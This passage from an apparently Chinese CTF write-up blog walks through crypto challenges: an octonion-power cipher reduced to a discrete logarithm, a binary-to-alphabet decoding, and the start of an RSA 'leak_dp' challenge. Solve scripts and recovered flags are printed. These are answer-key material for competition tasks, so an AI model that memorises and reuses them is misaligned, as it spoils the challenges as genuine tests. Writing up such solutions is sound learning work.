&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i, n &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;enumerate&lt;/span&gt;&lt;span&gt;(n_values):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;p &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;O&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;tuple&lt;/span&gt;&lt;span&gt;&lt;span&gt;(random.&lt;/span&gt;&lt;span&gt;randint&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&lt;span&gt;, m&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; _ &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;)))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;q &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; p &lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt; n&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;p_values.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(p.&lt;/span&gt;&lt;span&gt;vector&lt;/span&gt;&lt;span&gt;())&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;q_values.&lt;/span&gt;&lt;span&gt;append&lt;/span&gt;&lt;span&gt;(q.&lt;/span&gt;&lt;span&gt;vector&lt;/span&gt;&lt;span&gt;())&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;strong&gt;简而言之，整个加密系统将每一个明文块n隐藏为q = p&lt;sup&gt;n&lt;/sup&gt;，通过八元数幂运算的复杂性来掩盖明文块n&lt;/strong&gt;。&lt;/p&gt;&lt;p&gt;附件中给出了各个加密参数（m，p，q），因此解密的过程就是通过已知的加密参数还原n。&lt;/p&gt;&lt;p&gt;然而，由于八元数本身非交换且非结合，所以八元数的乘法是十分复杂的。对于一般的八元数乘法，从结果复现过程是很困难的。&lt;/p&gt;&lt;p&gt;因此，本题的解密过程应用了一个重要的性质：&lt;strong&gt;八元数范数具有乘性&lt;/strong&gt;。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;假设两个八元数a、b，对于a、b的范数N(a)、N(b)，有N(a * b) = N(a) * N(b)&lt;/strong&gt;。&lt;/p&gt;&lt;p&gt;在本题中，八元数p&lt;sup&gt;n&lt;/sup&gt; = p * p * p * …… p（一共n个p）。&lt;/p&gt;&lt;p&gt;于是我们有N(p&lt;sup&gt;n&lt;/sup&gt;) = [N(p)]&lt;sup&gt;n&lt;/sup&gt; (mod m)。那么，令：h = N(q) mod m，g = N(p) mod m，则：h ≡ g&lt;sup&gt;n&lt;/sup&gt;  (mod m)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;于是，问题被简化为相对简单的离散对数问题：解 n = log&lt;sub&gt;g&lt;/sub&gt; h (mod m)&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;关于离散对数的求解，可以用函数&lt;code&gt;sympy.ntheory.residue_ntheory.discrete_log(m, Nq, Np)&lt;/code&gt;实现。&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;解密过程&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;对于每一组(p, q)，首先求对应的N(p)和N(q) (mod m)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;解离散对数 n = log&lt;sub&gt;N(p)&lt;/sub&gt; N(q) (mod m)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将n恢复为明文块&lt;sup&gt;&lt;a href=&quot;#user-content-fn-%E9%80%86%E5%A4%A7%E7%AB%AF%E5%BA%8F&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;逐个拼接所有的明文块，去除填充的0&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;flag_bytes &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&apos;&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;len&lt;/span&gt;&lt;span&gt;(p_values)):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pv &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; p_values[i]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;qv &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; q_values[i]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# 计算范数&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Np &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sum&lt;/span&gt;&lt;span&gt;&lt;span&gt;(x &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; x &lt;/span&gt;&lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; x &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt;&lt;span&gt; pv) &lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt; m&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;Nq &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sum&lt;/span&gt;&lt;span&gt;&lt;span&gt;(x &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; x &lt;/span&gt;&lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; x &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt;&lt;span&gt; qv) &lt;/span&gt;&lt;span&gt;%&lt;/span&gt;&lt;span&gt; m&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;# 使用 sympy 解离散对数&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;try&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;n &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; sympy.ntheory.residue_ntheory.&lt;/span&gt;&lt;span&gt;discrete_log&lt;/span&gt;&lt;span&gt;(m, Nq, Np)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;flag_bytes &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;long_to_bytes&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;(n))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;Chunk &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;: n = &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;except&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Exception&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;as&lt;/span&gt;&lt;span&gt; e:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;Error at index &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;# 如果 sympy 失败，使用暴力搜索&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;found &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;False&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; test_n &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;range&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;24&lt;/span&gt;&lt;span&gt;):  &lt;/span&gt;&lt;span&gt;# 限制范围避免太慢&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pow&lt;/span&gt;&lt;span&gt;&lt;span&gt;(Np, test_n, m) &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; Nq:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;flag_bytes &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;long_to_bytes&lt;/span&gt;&lt;span&gt;(test_n)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                &lt;/span&gt;&lt;/span&gt;&lt;span&gt;found &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;Chunk &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;: found n = &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;test_n&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt; by brute force&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;break&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;not&lt;/span&gt;&lt;span&gt; found:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;f&lt;/span&gt;&lt;span&gt;&quot;Failed to find n for index &lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;i&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;Flag + rk:&quot;&lt;/span&gt;&lt;span&gt;, flag_bytes)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Flag:&quot;&lt;/span&gt;&lt;span&gt;&lt;span&gt;, flag_bytes.&lt;/span&gt;&lt;span&gt;split&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;\x00&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)[&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;])  &lt;/span&gt;&lt;span&gt;# 提取 flag 部分&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;显示更多&lt;/span&gt;&lt;span&gt;显示更少&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;/blockquote&gt;&lt;p&gt;ds给出了解密代码，运行之后得到flag（和rk碎片）&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1020&quot; src=&quot;/_astro/image-20251124193706407.Cm28AYPx_2kJlst.webp&quot; /&gt;&lt;figcaption&gt;解离散对数求flag&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;flag{Wow, you’re a master of discrete logarithms!}&lt;/strong&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;&lt;strong&gt;[Easy] 这家伙在说什么呢？&lt;/strong&gt;&lt;a href=&quot;#easy-这家伙在说什么呢&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;下载附件发现是一串5位一组的二进制字符串。&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;00101 01011 00000 00110 00011 10100 01101 10010 00111 00000 01101 10010 00111 10100 01110 00011 00100 00011 10100 01000&lt;/p&gt;&lt;/blockquote&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; arr:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;(i, &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;), &lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot; &quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;全部转换为十进制。&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;5  11  0  6  3  20  13  18  7  0  13  18  7  20  14  3  4  3  20  8&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;所有数字都在[0, 25]，猜测是字母表映射。按照0 -&amp;gt; a，25 -&amp;gt; z的映射，可以得到flag：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; i &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; arr:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;print&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;chr&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;(i,&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;/span&gt;&lt;span&gt;97&lt;/span&gt;&lt;span&gt;), &lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1020&quot; src=&quot;/_astro/image-20251124224106764.Dr7Toh_7_kXwMD.webp&quot; /&gt;&lt;figcaption&gt;二进制转十进制映射字母表&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;flag{dunshanshuodedui}&lt;/strong&gt;&lt;/p&gt;&lt;hr /&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;&lt;strong&gt;[Normal] leak_dp&lt;/strong&gt;&lt;a href=&quot;#normal-leak_dp&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://chat.deepseek.com/share/4oby04a2uc50psvjpn&quot; target=&quot;_blank&quot;&gt;与ds的聊天记录&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://chat.deepseek.com/share/lkigoosp5zhjl1kiyo&quot; target=&quot;_blank&quot;&gt;赛后整理&lt;/a&gt;&lt;/p&gt;&lt;p&gt;下载附件，是一个RSA非对称加密系统：&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;加密过程&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;随机生成两个512位大质数p、q，确定RSA模数n = p * q&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;p &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;getPrime&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;512&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;q &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;getPrime&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span&gt;512&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;n &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; p &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; q&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;确定模数n的欧拉函数phi = (p - 1) * (q - 1)&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;phi &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (p &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; (q &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;选择公钥指数e=65537&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;e &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;65537&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;确定私钥d = e&lt;sup&gt;-1&lt;/sup&gt; mod phi&lt;/p&gt;
